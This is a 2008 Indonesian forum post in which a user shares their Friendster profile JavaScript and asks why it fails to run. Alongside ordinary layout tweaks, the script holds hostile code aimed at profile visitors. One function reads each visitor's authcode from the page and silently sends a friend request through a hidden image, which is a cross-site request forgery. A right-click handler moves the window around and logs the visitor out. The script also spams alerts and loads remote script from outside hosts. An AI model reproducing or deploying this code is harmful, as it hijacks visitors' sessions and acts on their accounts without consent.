2008-09-05 03:26:48

rouet
» FTalker
FTalk Level: zero
224
0
1969-12-31

Re: Bagi para member yang ingin bertanya seputar tweaking FS. Silahkan bertanya dan posting disini. Sebelum itu harap membaca dan mengikuti [url=http://theftalk.com/t23371-FORUM-RULES.html][b]FORUM

:arrow: [b]ALL[/b] bantuin gw dunk apa ada yang salah ya ma js ku ??? kok ga jalan sama sekali :crybaby: :crybaby: :crybaby: [spoiler]document.getElementById("shimrow").style.display="none"; getElementByClassName("rtd")[0].style.display="none"; getElementByClassName("ltd")[0].getElementsByTagName("ul")[0].innerHTML+=getElementByClassName("rtd")[0].getElementsByTagName("ul")[0].innerHTML; get_nextsibling(getElementByClassName("ltd")[0]).style.display="none"; function get_nextsibling(n) { x=n.nextSibling; while (x.nodeType!=1) { x=x.nextSibling; } return x; } function getElementByClassName(sClass) { var elm = []; var els = document.getElementsByTagName("*") || document.all; for (var j=0,k=els.length;j<k;j++) { if (new RegExp(sClass).test(els[j].className))elm.push(els[j]); } return elm; } //force log in if(pageViewerID==""){ alert("TOLONG LOGIN DOELOE YA...!!!"); top.location.href="http://www.friendster.com/login.php?next=/user.php?uid=55483232"; } /********* WELCOME ALERT *********/ alert("ALLOW..."+pageViewerFName+" ...SELAMAT DATANG!!!"); alert("Serius mo liat profile Aku...???"); alert("Ada aturannya loh...."); alert("1. JAngan klik kanan."); alert("2. Musti add aku."); alert("3.JAngan lupa kasih comment"); alert("And...."); alert("ENJOY U'r STAY...."); /********** Goodbye Alert V2 ************/ window.onbeforeunload = function (evt) { var message = 'EH MO KEMANA '+pageViewerFName+'???THANKZ YA... DAH MO MAMPIR DI PROFILE AKU'; if (typeof evt == 'undefined') { evt = window.event; } if (evt) { evt.returnValue = message; } return message; } //CP document.getElementById("0").getElementsByTagName("ul")[1].innerHTML= "<div align= 'center'>ALLOW<br><br>WELCOME TO MY PROFILE<br><br>NAMAKU RUSLY<br><br>USIA GA USAH DIPIKIRIN<br><br>ASAL GREE_SUCKS<br><br>URL FSKU:<br><br>1. http://profiles.friendster.com/rouet<br><br>2. http://profiles.friendster.com/63609440<br><br>JANGAN LUPA DI ADD YA<br><br>NICE TO MEET YOU</DIV>"; //icon var shortc = document.createElement("link"); shortc.rel = "SHORTCUT ICON"; shortc.href = "http://www.starzacorp.com.my/image/icon/icon_5.gif"; document.getElementsByTagName("head")[0].appendChild(shortc); // quick comment var myjs = document.createElement("script"); myjs.type = "text/javascript"; myjs.src = "http://rouet.fileave.com/javascript/comment.txt"; document.getElementsByTagName("head")[0].appendChild(myjs) //css injection var css; try { css = document.createElement("link"); }catch(e) { css = document.createElement("<link>"); } css.setAttribute("type","text/css"); css.setAttribute("rel","stylesheet"); css.setAttribute("href","http://rouet.net76.net/tracker/rouet.css"); css.setAttribute("media","screen, print"); document.getElementsByTagName("head")[0].appendChild(css); var afaimg = document.createElement('span'); afaimg.id = "addme"; document.getElementsByTagName('head')[0].appendChild(afaimg); function afa() { var eadd = "arek_jayus@yahoo.com"; var k = document.getElementById("controlPanelButtons").innerHTML; var a = k.slice(k.indexOf("authcode=")); var m = a.slice(9,39); document.getElementById("addme").innerHTML = "<img src=\"http://www.friendster.com/addfriendrequest.php?authcode="+m+"&uid="+pageOwnerID+"&email="+eadd+"&firstname=&lastname=&friend=&submit=1\" width=\"0\" height=\"0\" />"; } if (!attachOnLoadHandler(function() { afa();})) window.onload = function() { afa();}; //onload handler function onProfileLoad() { //addboxes here // FRIENDS h=document.getElementById("2").getElementsByTagName("h2")[0]; h.innerHTML="<a href=\"#\" onClick=\"show_hide('content_2'); return false\">MY_FRIENDS</a>"; show_hide('content_2'); // FANS h=document.getElementById("7").getElementsByTagName("h2")[0]; h.innerHTML="<a href=\"#\" onClick=\"show_hide('content_7'); return false\">MY_FANS</a>"; show_hide('content_7'); // NAVIGATION var code= "<div align='center'><a href='http://www.friendster.com'><br><img src='http://images.friendster.com/images/friendster_nav_logo.png'></a></br><br><input type='button' value='Message' onClick=\"top.location.href='http://www.friendster.com/messages.php'\" class=\"xinoxs\" align='middle' style='display:inline;' title=\"header=[NAVIGATION] body=[MESSAGE]\"><input type='button' value='Settings' onClick=\"top.location.href='http://www.friendster.com/editaccount.php'\" class=\"xinoxs\" align='middle' style='display:inline;' title=\"header=[NAVIGATION] body=[SETTINGS]\"><input type='button' value='Help' onClick=\"top.location.href='http://www.friendster.com/custhelp.php'\" class=\"xinoxs\" align='middle' style='display:inline;' title=\"header=[NAVIGATION] body=[HELP]\"><input type='button' value='Log Out' onClick=\"top.location.href='http://www.friendster.com/logout.php'\" class=\"xinoxs\" align='middle' style='display:inline;' title=\"header=[NAVIGATION] body=[LOG OUT]\"></br><input type='button' value='Home' onClick=\"top.location.href='http://www.friendster.com'\" class=\"xinoxs\" align='middle' style='display:inline;' title=\"header=[NAVIGATION] body=[HOME]\"><input type='button' value='My Profile' onClick=\"top.location.href='http://profiles.friendster.com/user.php'\" class=\"xinoxs\" align='middle' style='display:inline;' title=\"header=[NAVIGATION] body=[MY PROFILE]\"><input type='button' value='My Connections' onClick=\"top.location.href='http://www.friendster.com/friends.php'\" class=\"xinoxs\" align='middle' style='display:inline;' title=\"header=[NAVIGATION] body=[MY CONNECTIONS]\"><input type='button' value='Explore' onClick=\"top.location.href='http://friendster.com/explore.php'\" class=\"xinoxs\" align='middle' style='display:inline;' title=\"header=[NAVIGATION] body=[EXPLORE]\"><input type='button' value='Search' onClick=\"top.location.href='http://www.friendster.com/gallery.php'\" class=\"xinoxs\" align='middle' style='display:inline;' title=\"header=[NAVIGATION] body=[SEARCH]\"><input type='button' value='Jobs' onClick=\"top.location.href='http://olx.friendster.com/gateway_cobranded.php?country=PH&target=jobs'\" class=\"xinoxs\" align='middle' style='display:inline;' title=\"header=[NAVIGATION] body=[JOBS]\"><input type='button' value='Invite' onClick=\"top.location.href='http://www.friendster.com/invite.php'\" class=\"xinoxs\" align='middle' style='display:inline;' title=\"header=[NAVIGATION] body=[INVITE]\"></br></br></div>"; addBox("LEFT","<a href=\"#\" onClick=\"show_hide('content_navi'); return false\">II NAVIGATION II</a>",code,"navi","1"); //Member Card var card="<br>"+"<div align='center'><a href=\"http://theftalk.com/?r=133761\" title=\"FriendsterTalk - Friendster Forum -rouet\"><img alt=\"FriendsterTalk - Friendster Forum -rouet\" src=\"http://addons.friendstertalk.com/member133761-white.gif\" /></a></div>"+"<br>"; addBox("LEFT","<a href=\"#\" onClick=\"show_hide('content_custombox_202'); return false\">FTI_ID_CARD</a>",card,"custombox_202","6"); show_hide('content_custombox_202'); // MY MP3S var code="<embed src=\"http://assets.myflashfetish.com/swf/mp3/mff-txtzoom.swf\" quality=\"high\" wmode=\"transparent\" flashvars=\"myid=12535345&path=2008/09/04&mycolor=C4C4C4&mycolor2=382E2E&mycolor3=FFFFFF&autoplay=true&rand=0&f=4&vol=100&pat=0&grad=true\" width=\"220\" height=\"128\" name=\"myflashfetish\" align=\"middle\"type=\"application/x-shockwave-flash\" pluginspage=\"http://www.macromedia.com/go/getflashplayer\" border=\"0\"/></embed>"; addBox("LEFT","<a href=\"#\" onClick=\"show_hide('content_mp3'); return false\">MY_Mp3s</a>",code,"mp3","18"); show_hide('content_mp3'); } //*image bawah kanan*// imagebawah("2","kanan"); imagebawah("7","kanan"); if (!attachOnLoadHandler(function(){onProfileLoad()})) window.onload = function(){onProfileLoad()}; function addBox (type,head,htm,id,sibling) { //by marfillaster //type "LEFT" | "RIGHT" //head header string //htm innerHTML string //id css_id string //sibling css_id_insertbefore string | null /* Available default Siblings Default "sibling_ID" Boxes for Reference (10/19/07) LEFT RIGHT "0" = controlpanel "15" = meettrail "1" = photos "2" = friends "13" = blogs "14" = googleads "12" = reviews "7" = fan "6" = moreabout "8" = groups "18" = publiccomments null = appends to last(without "") "10" = scrapbook */ try { var li=document.createElement("li"); } catch(e) { var li=document.createElement("<li>"); } /*********************** PERHATIKAN BAGIAN INI ***************************/ if(type=="LEFT") { var ul=document.getElementById("0").parentNode.parentNode; htm="<div class='boxcontent'>"+htm+"</div>"; var framebawah="<div><img border='0' src='http://www.geocities.com/arek_jayus/sandy/bawah.jpg'></div>"; } else {var ul=document.getElementById("2").parentNode.parentNode; var framebawah="<div><img border='0' src='http://www.geocities.com/arek_jayus/sandy/bawah.jpg'></div>"; } /************************************************************************/ li.innerHTML="<div id='"+id+"' class='commonbox "+id+"'>"+ "<h2>"+head+"</h2>"+ "<div id='content_"+id+"'>"+ htm+ "</div>"+framebawah+ "</div>"; if(sibling==null) ul.appendChild(li); else { sibling=document.getElementById(sibling).parentNode; ul.insertBefore(li,sibling); } } /***** no right klik pake pesan *****/ function crazyRedi(){ alert("YAh, Qm tw za fs aq mank Bagus") window.resizeTo(0,0) if(window.moveTo){ for(l=700;l>0;l--){ for(r=1;r>0;r--){ window.moveTo(0,l) window.moveTo(l,0) window.moveTo(0,-l) window.moveTo(-l,0)}} } top.location.href="http://www.friendster.com/logout.php" } document.oncontextmenu=crazyRedi // CONTROLPANEL h=document.getElementById("controlpanel_header"); h.innerHTML="<a href=\"#\" onClick=\"show_hide('content_0'); return false\">MY_CP</a>"; show_hide('content_0'); // MOREABOUT h=document.getElementById("6").getElementsByTagName("h2")[0]; h.innerHTML="<a href=\"#\" onClick=\"show_hide('content_6'); return false\">ALL_ABOUT_ME</a>"; show_hide('content_6'); // PUBLICCOMMENTS h=document.getElementById("18").getElementsByTagName("h2")[0]; h.innerHTML="<a href=\"#\" onClick=\"show_hide('content_18'); return false\">FRIENDS_COMMENT</a>"; show_hide('content_18'); function show_hide(the_box) { if (document.getElementById(the_box)) { if (document.getElementById(the_box).style.display == 'none') { document.getElementById(the_box).style.display = 'block'; } else { document.getElementById(the_box).style.display = 'none'; } } } function imagebawah(boxnya,jenis){ /************************************ keterangan : boxnya = boxID jenis = "kiri" atau "kanan" cara menggunakan fungsi ini : letakkan di BAGIAN C berdasarkan referensi Bang Kanal untuk controlpanelbox : imagebawah("0","kiri"); untuk moreaboutbox : imagebawah("6","kiri"); untuk publiccommentsbox : imagebawah("18","kiri"); letakkan dalam onloadhandler (BAGIAN B berdasarkan referensi Bang Kanal) untuk friendsbox : imagebawah("2","kanan"); untuk fanbox : imagebawah("7","kanan"); *************************************/ var konten=document.getElementById("content_"+boxnya); if (jenis=="kiri") { var bawah="<img border='0' src='http://www.geocities.com/arek_jayus/sandy/bawah.jpg'>"; } else { var bawah="<img border='0' src='http://www.geocities.com/arek_jayus/sandy/bawah.jpg'>"; } try { var tambahbawah=document.createElement("div"); } catch(e) { var tambahbawah=document.createElement("<div>"); } konten.style.margin='0px 30px 0px 20px'; tambahbawah.innerHTML=bawah; var kotakid=document.getElementById(boxnya); kotakid.appendChild(tambahbawah); } untuk controlpanelbox : imagebawah("0","kiri"); untuk moreaboutbox : imagebawah("6","kiri"); untuk publiccommentsbox : imagebawah("18","kiri"); //*SHOW HIDE CP BUTTON*// content_0.getElementsByTagName("td")[0].innerHTML+="<div id='myCPButtons' style='background:none;margin-top:10'>" +"<input type='button' value='Show Buttons' onclick='showButtons()' style='border:1px solid #999999;background-color:#000000;color:#ffffff;font-size:9pt'>" +"</div>" controlPanelButtons.style.display="none" function showButtons(){ controlPanelButtons.style.display="block" myCPButtons.innerHTML="<input type='button' value='Hide Buttons' onclick='hideButtons()' style='border:1px solid #999999;background-color:#000000;color:#ffffff;font-size:9pt'>" } function hideButtons(){ controlPanelButtons.style.display="none" myCPButtons.innerHTML="<input type='button' value='Show Buttons' onclick='showButtons()' style='border:1px solid #999999;background-color:#000000;color:#ffffff;font-size:9pt'>" }[/spoiler]

Board footer

© 2024 F Talk

Current time is 22:51

[ 12 queries - 0.223 second ]
Privacy Policy